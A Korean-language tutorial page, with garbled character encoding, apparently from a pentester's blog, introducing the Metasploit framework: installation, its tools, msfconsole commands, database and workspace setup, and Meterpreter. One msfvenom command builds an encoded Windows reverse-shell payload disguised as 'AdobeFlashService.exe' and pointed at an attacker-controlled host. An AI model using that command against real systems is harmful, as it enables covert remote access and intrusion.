๐ Introduction
Metasploit์ ๋ํ์ ์ธ Penetration testing framework๋ก Recon, Scan, Exploit ๋ฑ Pentest์ ๊ธฐ์ ์ ์ธ ๋ถ๋ถ์ ๋ง์ด ์ปค๋ฒํ ์ ์๋ ๋๊ตฌ์ ๋๋ค. H.D Moore๊ฐ ์ด๊ธฐ ๊ฐ๋ฐํ์์ผ๋ฉฐ, ํ์ฌ๋ Rapid7์์ ๊ด๋ฆฌ๋๊ณ ์์ต๋๋ค.
Perl
->Ruby
Network ๊ธฐ๋ฐ ํ ์คํ ์ ๊ต์ฅํ ๋ฅํ ๋๊ตฌ์ด๋ฉฐ ๊ณต๊ฐ๋ ์ทจ์ฝ์ ๊ณผ Exploit code๋ฅผ ํ์ฉํ ์ ์์ด์ Pentesting ์ด์ธ์๋ ๊ธฐ์ ์ ๋ณด์์ฑ์ ํ ์คํธํ๊ฑฐ๋, ๋ฒ๊ทธ๋ฐ์ดํฐ ๋ฑ์์๋ ํ์ฉ๋๊ธฐ๋ ํฉ๋๋ค.
Installation
macOS, Linux์์ one-line script๋ก ์ค์น๊ฐ ๊ฐ๋ฅํฉ๋๋ค. Windows๋ ๋ณ๋์ Installer๋ก ์ค์น๊ฐ ํ์ํ๊ธฐ ๋๋ฌธ์ ์ค์น ๊ด๋ จ ๋ฌธ์๋ฅผ ์ฐธ๊ณ ํ์๊ธฐ ๋ฐ๋๋๋ค.
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
Structure of Tools
Metasploit framework๋ msfconsole์ด๋ ๋ํ์ ์ธ ๋ช ๋ น ์ด์ธ์๋ ์ฌ๋ฌ๊ฐ์ง ๋๊ตฌ๋ค์ ๋ด์ฅํ๊ณ ์์ต๋๋ค.
ย | Type | Description |
---|---|---|
msfconsole | CLI | Metasploit์ Console์ ๋๋ค. ๋๋ถ๋ถ์ ์์ ์ ์ฌ๊ธฐ์ ์ด๋ฃจ์ด์ง๋๋ค. |
msfd | Daemon | Metasploit daemon์ ๋๋ค. |
msfdb | CLI | Metasploit์์ ์ฌ์ฉํ๋ DB๋ฅผ ์๋ ์ธํ ํ๋ ๋ช ๋ น์ ๋๋ค. |
msfrpc | CLI | RPC Client์ ๋๋ค. |
msfrpcd | Daemon | RPCd๋ฅผ ์คํํ๋ ๋ช ๋ น์ ๋๋ค. ์ด๋ฅผ ์ด์ฉํ๋ฉด Ruby์์ RPC๋ฅผ ํตํด Metasploit๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. |
msfupdate | CLI | Metasploit framework์ ์ ๋ฐ์ดํธ๋ฅผ ์ํ ๋ช ๋ น์ ๋๋ค. |
msfvenom | CLI | Payload ์์ฑ์ ์ํ ๋๊ตฌ์ ๋๋ค. ์ด๋ฅผ ํตํด ํ์ค์ง๋ฆฌ ๋ช ๋ น์ผ๋ก ์ํ๋ ์ ์ฝ๋๋ฅผ ์คํํ๋ ๋ฐ์ด๋๋ฆฌ ๋ฑ์ ๋ง๋ค ์ ์์ต๋๋ค. |
MSFConsole
Usage
<Command> [ARG1 ARG2 ARG3 ...]
Core
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
debug Display information useful for debugging
exit Exit the console
features Display the list of not yet released features that can be opted in to
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
history Show command history
load Load a framework plugin
quit Exit the console
repeat Repeat a list of commands
route Route traffic through a session
save Saves the active datastores
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
tips Show a list of useful productivity tips
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
version Show the framework and console library version numbers
Use Modules
advanced Displays advanced options for one or more modules
back Move back from the current context
clearm Clear the module stack
favorite Add module(s) to the list of favorite modules
info Displays information about one or more modules
listm List the module stack
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
reload_all Reloads all modules from all defined module paths
search Searches module names and descriptions
show Displays modules of a given type, or all modules
use Interact with a module by name or search term/index
With Database
db_connect Connect to an existing data service
db_disconnect Disconnect from the current data service
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache (deprecated)
db_remove Remove the saved data service entry
db_save Save the current data service connection as the default to reconnect on startup
db_status Show the current data service status
Metasploit์ ๊ธฐ๋ณธ์ผ๋ก Postgres์ ์ฌ์ฉํฉ๋๋ค. ๋ฌผ๋ก config ์ค์ ์ ๋ฐ๋ผ MySQL ๋ฑ ๋ค๋ฅธ Database ์ฌ์ฉ๋ ๊ฐ๋ฅํฉ๋๋ค.
Set-up Postgres
๋จผ์ Postgres ๊ณ์ ์์ฑ์ ์ํด postgres ๊ณ์ ์ผ๋ก ์ ํํฉ๋๋ค. ์ดํ createuser๋ก metasploit์ ์ํ ๊ณ์ ์ ์์ฑํฉ๋๋ค.
su - postgres
createuser msfuser -P
๊ทธ๋ค์ database๋ฅผ ์์ฑํ๊ณ ๋ง๋ ๊ณ์ ์ ๊ถํ์ ์ค๋๋ค.
createdb --owner=msfuser hahwul_database
MSF Connect to DB
msf6 > db_connect msfuser:yourpassword@127.0.0.1:5432/hahwul_database
[*] Rebuilding the module cache in the background...
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
DB ์ฐ๊ฒฐ ์ดํ๋ถํด db_*
๋ช
๋ น๊ณผ workspace ๊ด๋ จ ๋ช
๋ น์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
Automated connect
msf home ๋๋ ํ ๋ฆฌ ๋ด ./config/database.yml
ํ์ผ์์ ๋ฏธ๋ฆฌ Database์ ๋ํ ์ค์ ์ ์ง์ ํ๊ณ , MSF ์ฌ์ฉ์ ์๋์ผ๋ก ๋ก๋๋๋๋ก ํ ์ ์์ต๋๋ค.
config ํ๋จ์ ํ์ผ์ ๋ก๋ํ๋ฉด DB ์ฐ๊ฒฐ์ ๋ณด๊ฐ ๋์ค๊ณ ์๋์ ๊ฐ์ด ์์ฑํด์ฃผ์๋ฉด ๋ฉ๋๋ค.
development: &pgsql
adapter: postgresql
database: DB ์ด๋ฆ
username: DB ์ ์ ์ด๋ฆ(postgres ์์ ๋ง๋ ๊ณ์ )
password: ์ ๊ณ์ ์ ํจ์ค์๋
host: localhost
port: 5432 # ๋ณ๊ฒฝํ์
จ๋ค๋ฉด ๋ณ๊ฒฝํ์ ํฌํธ๋ก ์์ฑํด์ฃผ์ธ์.
pool: 5
timeout: 5
Workspace
Basic
Show list
msf6 > workspace
* default
Add
msf6 > workspace -a target
[*] Added workspace: target
[*] Workspace: target
msf6 > workspace
default
* target
Hosts
ํ์ฌ workspace์ ์ถ๊ฐ๋ hosts๋ฅผ ํ์ธํฉ๋๋ค. host ์ ๋ณด๋ hosts
๋ช
๋ น์ด๋ ์๋ db_*
command๋ฅผ ํตํด ์ถ๊ฐํ ์ ์์ต๋๋ค.
msf6 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
127.0.0.1 localhost Unknown device
msf6 > hosts -a 192.168.0.24
[*] Time: 2022-06-19 14:10:32 UTC Host: host=192.168.0.24
Services
workspace์ ๋์ ๋ services ๋ฆฌ์คํธ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค. services
๋ช
๋ น์ ํตํด ์ถ๊ฐํ๊ฑฐ๋ db_nmap ๋ฑ ํฌํธ, ์๋น์ค ์ ๋ณด๋ฅผ ์ถ๊ฐํ๋ ๋ช
๋ น์ ํตํด ์ถ๊ฐํ ์ ์์ต๋๋ค.
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
127.0.0.1 22 tcp ssh open
127.0.0.1 5000 tcp upnp open
127.0.0.1 7000 tcp afs3-fileserver open
127.0.0.1 8080 tcp http-proxy open
db_* Commands
db_
๋ก ์์ํ๋ ๋ช
๋ น์ ๊ฒฐ๊ณผ๋ฅผ Database์ ์ฒ๋ฆฌํ๋ ๋ช
๋ น์ด์
๋๋ค. ๋ํ์ ์ผ๋ก db_nmap์ด ์์ผ๋ฉฐ ์๋์ ๊ฐ์ด nmap์ด ์๋ db_nmap์ผ๋ก ๋์์ ์ค์บํ๋ ๊ฒฝ์ฐ ๊ฒฐ๊ณผ๊ฐ Database์ ์์ฌ workspace์์ ํ์ธํ ์ ์์ต๋๋ค.
msf6 > db_nmap -PN 192.168.0.4
...snip..
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.0.4 22 tcp ssh open
192.168.0.4 5000 tcp upnp open
192.168.0.4 7000 tcp afs3-fileserver open
MSFVenom
MSFVenom์ Exploit ์ฝ๋ ์์ฑ์ ์ํ CLI ๋๊ตฌ๋ก Metasploit์์ ์ฌ์ฉํ๋ Metepreter ๋๋ ๊ธฐ๋ณธ Shell ๋ฑ์ ๋ด์ฅํ ์ฝ๋๋ฅด ์์ฑํ ์ ์์ต๋๋ค. ์ฌ๋ฌ ํ์ ์ ์ธ์ด์ ํฌ๋งท์ ์ง์ํ๋ฉฐ, MSFConsole๊ณผ ์ฝ๊ฒ ์ฐ๋ํ ์ ์์ด ํ์ฉ์ฑ์ด ๋์ต๋๋ค.
msfvenom -x app.exe \
-p windows/shell/reverse_tcp \
-e x86/shikata_ga_nai -k -f exe \
-i 25 LHOST=xxx.xxx.xxx.xxx LPORT=4444 > AdobeFlashService.exe
exe, py, sh ๋ฟ๋ง ์๋๋ผ apk ๋ฑ ์ฌ๋ฌ OS์ ๋ํด ์ง์ํฉ๋๋ค.
Metepreter
Metepreter๋ Metasploit์์ ์ ๊ณตํ๋ Shell framework๋ก bash, sh ์ ๊ฐ์ ์์คํ ์๋ณด๋ค ํดํน์ ํ์ํ ๊ธฐ๋ฅ๋ค์ ๋ง์ด ๋ด๊ณ ์์ต๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ๋ฐฑ์ ํ์ง๋ฅผ ์ฐํํ๊ธฐ ์ํด fireless๋ก ๋์ํ๋ฉฐ ๋ด์ฅ๋ ๊ธฐ๋ฅ๋ค์ ์ด์ฉํ์ฌ ๋์์ ์ ๋ณด๋ฅผ ํ์ทจํ๊ฑฐ๋ ์ฝ๊ฒ Local exploit์ ์คํํ ์ ์๊ณ Pivoting์ผ๋ก Vertical/Horizon ๋จ์ Host ๋ค์ ์ถ๊ฐ๋ก ๊ณต๊ฒฉํ์ฌ ์ ์ฐจ ์์คํ ์ ์ฅ์ ํ ์ ์์ต๋๋ค.
- Privilege Escalation on Meterpreter
- Metasploit-Aggregator๋ฅผ ์ด์ฉํ Meterpreter session ๊ด๋ฆฌํ๊ธฐ
- Metasploit web delivery ๋ชจ๋์ ์ด์ฉํ์ฌ Command line์์ meterpreter session ๋ง๋ค๊ธฐ
- Data Leak Scenario on Meterpreter using ADS
- Default shell์ Meterpreter Shell๋ก ์ ๊ทธ๋ ์ด๋ ํ๊ธฐ
- Metasploit ipknock์ ์ด์ฉํ hidden meterpreter shell
Customize
- Metasploit์์ ์ปค์คํ ๋ฐฐ๋ ๋ง๋ค๊ธฐ
- Write Metasploit Module in Golang
- Metasplit์ rhosts์์ Column/Tagging ์ปค์คํฐ๋ง์ด์ง ํ๊ธฐ
- Metasploit Custom Scanner ๋ง๋ค๊ธฐ(Make Simple Scan Module)
๐น Tools
- https://github.com/rapid7/metasploit-framework
- https://github.com/hahwul/mad-metasploit
- https://github.com/hahwul/metasploit-autopwn
- https://github.com/NullArray/AutoSploit
๐ Articles
ZAP๊ณผ ๋น์ทํ๊ฒ Metasploit๋ ์ ๊ฐ ์์ฑํ ๊ธ์ด ๋ง์ํธ์ ๋๋ค. ์๋ ํ์ด์ง๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
https://www.hahwul.com/categories/metasploit/
๐ References
- https://github.com/rapid7/metasploit-framework
- https://www.hahwul.com/categories/metasploit/
- https://docs.rapid7.com/metasploit/